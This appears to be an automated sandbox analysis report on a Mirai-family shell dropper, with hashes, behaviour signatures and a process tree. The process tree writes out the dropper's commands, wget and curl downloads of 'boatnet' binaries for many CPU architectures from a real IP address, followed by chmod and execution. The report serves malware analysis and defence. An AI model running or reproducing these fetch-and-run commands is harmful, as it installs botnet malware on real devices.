Analysis
-
max time kernel
149s -
max time network
150s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240508-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
17-12-2024 06:26
Static task
static1
Behavioral task
behavioral1
Sample
ohshit.sh
Resource
ubuntu1804-amd64-20240508-en
Behavioral task
behavioral2
Sample
ohshit.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
ohshit.sh
Resource
debian9-mipsbe-20240611-en
General
-
Target
ohshit.sh
-
Size
2KB
-
MD5
14099ca3ba60ee276a8d96c4b47cd58f
-
SHA1
d46e02797df3f7be4bf440003b2296ffe8992451
-
SHA256
e9e9f5c2ab6480da0637b837bf75b5fc2ae683e2c1711d8bb2776b617b2fdbc5
-
SHA512
249ced36cbe0e9ab7f4dabbcfcc1891e3fc582f6ab523a22a3f5bddfc3d9ce83686152cda53a6b4b922fee3b3b5b28436f3342ed31b15fea0a324b0c2f30dab9
Malware Config
Extracted
mirai
LZRD
Signatures
-
Mirai family
-
File and Directory Permissions Modification 1 TTPs 15 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1571 chmod 1615 chmod 1519 chmod 1527 chmod 1535 chmod 1579 chmod 1596 chmod 1623 chmod 1543 chmod 1557 chmod 1631 chmod 1639 chmod 1503 chmod 1511 chmod 1647 chmod -
Executes dropped EXE 15 IoCs
ioc pid Process /tmp/WTF 1504 WTF /tmp/WTF 1512 WTF /tmp/WTF 1520 WTF /tmp/WTF 1528 WTF /tmp/WTF 1536 WTF /tmp/WTF 1544 WTF /tmp/WTF 1558 WTF /tmp/WTF 1572 WTF /tmp/WTF 1580 WTF /tmp/WTF 1597 WTF /tmp/WTF 1616 WTF /tmp/WTF 1624 WTF /tmp/WTF 1632 WTF /tmp/WTF 1640 WTF /tmp/WTF 1648 WTF -
Modifies Watchdog functionality 1 TTPs 30 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/watchdog WTF File opened for modification /dev/misc/watchdog WTF File opened for modification /dev/watchdog WTF -
Enumerates running processes
Discovers information about currently running processes on the system
-
Writes file to system bin folder 30 IoCs
description ioc Process File opened for modification /bin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /sbin/watchdog WTF File opened for modification /bin/watchdog WTF File opened for modification /sbin/watchdog WTF -
resource yara_rule behavioral1/files/fstream-1.dat upx -
description ioc Process File opened for reading /proc/1548/cmdline WTF File opened for reading /proc/1026/cmdline WTF File opened for reading /proc/529/cmdline WTF File opened for reading /proc/1537/cmdline WTF File opened for reading /proc/1114/cmdline WTF File opened for reading /proc/1167/cmdline WTF File opened for reading /proc/1218/cmdline WTF File opened for reading /proc/1600/cmdline WTF File opened for reading /proc/1082/cmdline WTF File opened for reading /proc/1573/cmdline WTF File opened for reading /proc/950/cmdline WTF File opened for reading /proc/1651/cmdline WTF File opened for reading /proc/1055/cmdline WTF File opened for reading /proc/1026/cmdline WTF File opened for reading /proc/458/cmdline WTF File opened for reading /proc/601/cmdline WTF File opened for reading /proc/699/cmdline WTF File opened for reading /proc/1283/cmdline WTF File opened for reading /proc/458/cmdline WTF File opened for reading /proc/1545/cmdline WTF File opened for reading /proc/940/cmdline WTF File opened for reading /proc/1336/cmdline WTF File opened for reading /proc/1529/cmdline WTF File opened for reading /proc/1245/cmdline WTF File opened for reading /proc/551/cmdline WTF File opened for reading /proc/1513/cmdline WTF File opened for reading /proc/1545/cmdline WTF File opened for reading /proc/1096/cmdline WTF File opened for reading /proc/474/cmdline WTF File opened for reading /proc/1245/cmdline WTF File opened for reading /proc/1096/cmdline WTF File opened for reading /proc/486/cmdline WTF File opened for reading /proc/1515/cmdline WTF File opened for reading /proc/1278/cmdline WTF File opened for reading /proc/529/cmdline WTF File opened for reading /proc/1045/cmdline WTF File opened for reading /proc/1244/cmdline WTF File opened for reading /proc/1167/cmdline WTF File opened for reading /proc/1135/cmdline WTF File opened for reading /proc/1298/cmdline WTF File opened for reading /proc/1495/cmdline WTF File opened for reading /proc/1507/cmdline WTF File opened for reading /proc/529/cmdline WTF File opened for reading /proc/679/cmdline WTF File opened for reading /proc/1583/cmdline WTF File opened for reading /proc/1159/cmdline WTF File opened for reading /proc/1283/cmdline WTF File opened for reading /proc/1026/cmdline WTF File opened for reading /proc/1244/cmdline WTF File opened for reading /proc/1587/cmdline WTF File opened for reading /proc/1032/cmdline WTF File opened for reading /proc/486/cmdline WTF File opened for reading /proc/1141/cmdline WTF File opened for reading /proc/1547/cmdline WTF File opened for reading /proc/1490/cmdline WTF File opened for reading /proc/699/cmdline WTF File opened for reading /proc/1566/cmdline WTF File opened for reading /proc/1495/cmdline WTF File opened for reading /proc/458/cmdline WTF File opened for reading /proc/1493/cmdline WTF File opened for reading /proc/1531/cmdline WTF File opened for reading /proc/1110/cmdline WTF File opened for reading /proc/1537/cmdline WTF File opened for reading /proc/1492/cmdline WTF -
System Network Configuration Discovery 1 TTPs 2 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 1508 wget 1509 curl -
Writes file to tmp directory 28 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/WTF ohshit.sh File opened for modification /tmp/boatnet.mips curl File opened for modification /tmp/boatnet.arm5 curl File opened for modification /tmp/boatnet.arm7 curl File opened for modification /tmp/boatnet.spc wget File opened for modification /tmp/boatnet.sh4 wget File opened for modification /tmp/boatnet.x86 curl File opened for modification /tmp/boatnet.arm6 curl File opened for modification /tmp/boatnet.ppc curl File opened for modification /tmp/boatnet.arc curl File opened for modification /tmp/boatnet.i686 curl File opened for modification /tmp/boatnet.x86_64 curl File opened for modification /tmp/boatnet.m68k curl File opened for modification /tmp/boatnet.mips wget File opened for modification /tmp/boatnet.arc wget File opened for modification /tmp/boatnet.mpsl curl File opened for modification /tmp/boatnet.arm wget File opened for modification /tmp/boatnet.arm5 wget File opened for modification /tmp/boatnet.ppc wget File opened for modification /tmp/boatnet.x86 wget File opened for modification /tmp/boatnet.arm curl File opened for modification /tmp/boatnet.spc curl File opened for modification /tmp/boatnet.m68k wget File opened for modification /tmp/boatnet.sh4 curl File opened for modification /tmp/boatnet.i468 curl File opened for modification /tmp/boatnet.mpsl wget File opened for modification /tmp/boatnet.arm6 wget File opened for modification /tmp/boatnet.arm7 wget
Processes
-
/tmp/ohshit.sh/tmp/ohshit.sh1⤵
- Writes file to tmp directory
PID:1495 -
/usr/bin/wgetwget http://147.45.125.26/hiddenbin/boatnet.x862⤵
- Writes file to tmp directory
PID:1496
-
-
/usr/bin/curlcurl -O http://147.45.125.26/hiddenbin/boatnet.x862⤵
- Writes file to tmp directory
PID:1501
-
-
/bin/catcat boatnet.x862⤵PID:1502
-
-
/bin/chmodchmod +x boatnet.x86 config-err-BdnwVs netplan_2az14oqi ohshit.sh snap-private-tmp ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-PTk5HI systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-timedated.service-vwwyTz WTF2⤵
- File and Directory Permissions Modification
PID:1503
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1504
-
-
/usr/bin/wgetwget http://147.45.125.26/hiddenbin/boatnet.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1508
-
-
/usr/bin/curlcurl -O http://147.45.125.26/hiddenbin/boatnet.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1509
-
-
/bin/chmodchmod +x boatnet.mips boatnet.x86 config-err-BdnwVs netplan_2az14oqi ohshit.sh snap-private-tmp ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-PTk5HI systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-timedated.service-vwwyTz WTF2⤵
- File and Directory Permissions Modification
PID:1511
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1512
-
-
/usr/bin/wgetwget http://147.45.125.26/hiddenbin/boatnet.arc2⤵
- Writes file to tmp directory
PID:1516
-
-
/usr/bin/curlcurl -O http://147.45.125.26/hiddenbin/boatnet.arc2⤵
- Writes file to tmp directory
PID:1517
-
-
/bin/chmodchmod +x boatnet.arc boatnet.mips boatnet.x86 config-err-BdnwVs netplan_2az14oqi ohshit.sh snap-private-tmp ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-PTk5HI systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-timedated.service-vwwyTz WTF2⤵
- File and Directory Permissions Modification
PID:1519
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1520
-
-
/usr/bin/wgetwget http://147.45.125.26/hiddenbin/boatnet.i4682⤵PID:1524
-
-
/usr/bin/curlcurl -O http://147.45.125.26/hiddenbin/boatnet.i4682⤵
- Writes file to tmp directory
PID:1525
-
-
/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 config-err-BdnwVs netplan_2az14oqi ohshit.sh snap-private-tmp ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-PTk5HI systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-timedated.service-vwwyTz WTF2⤵
- File and Directory Permissions Modification
PID:1527
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1528
-
-
/usr/bin/wgetwget http://147.45.125.26/hiddenbin/boatnet.i6862⤵PID:1532
-
-
/usr/bin/curlcurl -O http://147.45.125.26/hiddenbin/boatnet.i6862⤵
- Writes file to tmp directory
PID:1533
-
-
/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 config-err-BdnwVs netplan_2az14oqi ohshit.sh snap-private-tmp ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-PTk5HI systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-timedated.service-vwwyTz WTF2⤵
- File and Directory Permissions Modification
PID:1535
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1536
-
-
/usr/bin/wgetwget http://147.45.125.26/hiddenbin/boatnet.x86_642⤵PID:1540
-
-
/usr/bin/curlcurl -O http://147.45.125.26/hiddenbin/boatnet.x86_642⤵
- Writes file to tmp directory
PID:1541
-
-
/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 config-err-BdnwVs netplan_2az14oqi ohshit.sh snap-private-tmp ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-PTk5HI systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-timedated.service-vwwyTz WTF2⤵
- File and Directory Permissions Modification
PID:1543
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1544
-
-
/usr/bin/wgetwget http://147.45.125.26/hiddenbin/boatnet.mpsl2⤵
- Writes file to tmp directory
PID:1548
-
-
/usr/bin/curlcurl -O http://147.45.125.26/hiddenbin/boatnet.mpsl2⤵
- Writes file to tmp directory
PID:1551
-
-
/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-BdnwVs netplan_2az14oqi ohshit.sh snap-private-tmp ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-THjHIc systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-timedated.service-vwwyTz WTF2⤵
- File and Directory Permissions Modification
PID:1557
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1558
-
-
/usr/bin/wgetwget http://147.45.125.26/hiddenbin/boatnet.arm2⤵
- Writes file to tmp directory
PID:1562
-
-
/usr/bin/curlcurl -O http://147.45.125.26/hiddenbin/boatnet.arm2⤵
- Writes file to tmp directory
PID:1563
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-BdnwVs netplan_2az14oqi ohshit.sh snap-private-tmp ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-pjTXHm systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-timedated.service-vwwyTz WTF2⤵
- File and Directory Permissions Modification
PID:1571
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1572
-
-
/usr/bin/wgetwget http://147.45.125.26/hiddenbin/boatnet.arm52⤵
- Writes file to tmp directory
PID:1576
-
-
/usr/bin/curlcurl -O http://147.45.125.26/hiddenbin/boatnet.arm52⤵
- Writes file to tmp directory
PID:1577
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-BdnwVs netplan_2az14oqi ohshit.sh snap-private-tmp ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-pjTXHm systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-timedated.service-vwwyTz WTF2⤵
- File and Directory Permissions Modification
PID:1579
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1580
-
-
/usr/bin/wgetwget http://147.45.125.26/hiddenbin/boatnet.arm62⤵
- Writes file to tmp directory
PID:1584
-
-
/usr/bin/curlcurl -O http://147.45.125.26/hiddenbin/boatnet.arm62⤵
- Writes file to tmp directory
PID:1591
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-BdnwVs netplan_2az14oqi ohshit.sh snap-private-tmp ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-bolt.service-5C9n9f systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-timedated.service-vwwyTz WTF2⤵
- File and Directory Permissions Modification
PID:1596
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1597
-
-
/usr/bin/wgetwget http://147.45.125.26/hiddenbin/boatnet.arm72⤵
- Writes file to tmp directory
PID:1601
-
-
/usr/bin/curlcurl -O http://147.45.125.26/hiddenbin/boatnet.arm72⤵
- Writes file to tmp directory
PID:1607
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-BdnwVs netplan_2az14oqi ohshit.sh snap-private-tmp ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-timedated.service-vwwyTz WTF2⤵
- File and Directory Permissions Modification
PID:1615
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1616
-
-
/usr/bin/wgetwget http://147.45.125.26/hiddenbin/boatnet.ppc2⤵
- Writes file to tmp directory
PID:1620
-
-
/usr/bin/curlcurl -O http://147.45.125.26/hiddenbin/boatnet.ppc2⤵
- Writes file to tmp directory
PID:1621
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 config-err-BdnwVs netplan_2az14oqi ohshit.sh snap-private-tmp ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-timedated.service-vwwyTz WTF2⤵
- File and Directory Permissions Modification
PID:1623
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1624
-
-
/usr/bin/wgetwget http://147.45.125.26/hiddenbin/boatnet.spc2⤵
- Writes file to tmp directory
PID:1628
-
-
/usr/bin/curlcurl -O http://147.45.125.26/hiddenbin/boatnet.spc2⤵
- Writes file to tmp directory
PID:1629
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-BdnwVs netplan_2az14oqi ohshit.sh snap-private-tmp ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-timedated.service-vwwyTz WTF2⤵
- File and Directory Permissions Modification
PID:1631
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1632
-
-
/usr/bin/wgetwget http://147.45.125.26/hiddenbin/boatnet.m68k2⤵
- Writes file to tmp directory
PID:1636
-
-
/usr/bin/curlcurl -O http://147.45.125.26/hiddenbin/boatnet.m68k2⤵
- Writes file to tmp directory
PID:1637
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-BdnwVs netplan_2az14oqi ohshit.sh snap-private-tmp ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-timedated.service-vwwyTz WTF2⤵
- File and Directory Permissions Modification
PID:1639
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1640
-
-
/usr/bin/wgetwget http://147.45.125.26/hiddenbin/boatnet.sh42⤵
- Writes file to tmp directory
PID:1644
-
-
/usr/bin/curlcurl -O http://147.45.125.26/hiddenbin/boatnet.sh42⤵
- Writes file to tmp directory
PID:1645
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 config-err-BdnwVs netplan_2az14oqi ohshit.sh snap-private-tmp ssh-D1rTb6cjtsFl systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-colord.service-HPFOGT systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-ModemManager.service-Fv6Ji2 systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-resolved.service-tZ2Gue systemd-private-67c01c1dbb3445e09ebe41728ad8d0df-systemd-timedated.service-vwwyTz WTF2⤵
- File and Directory Permissions Modification
PID:1647
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1648
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
20KB
MD5e91063f55319252533dd4b79524515e8
SHA1f6d254d0a708dd18917a3db48eec8b27fd2c7526
SHA25681a71e612fb13a5d427bac91e1194caee587393ef18b7bf19ed41ace248ce603
SHA512ce06b49dede7b5101d49a4cdb2959d44f4da5824e8d8d1bced490e9245e14b540c621f68960be9a14620b5800aa3136363295b269f95f10dd68782fdfba435f5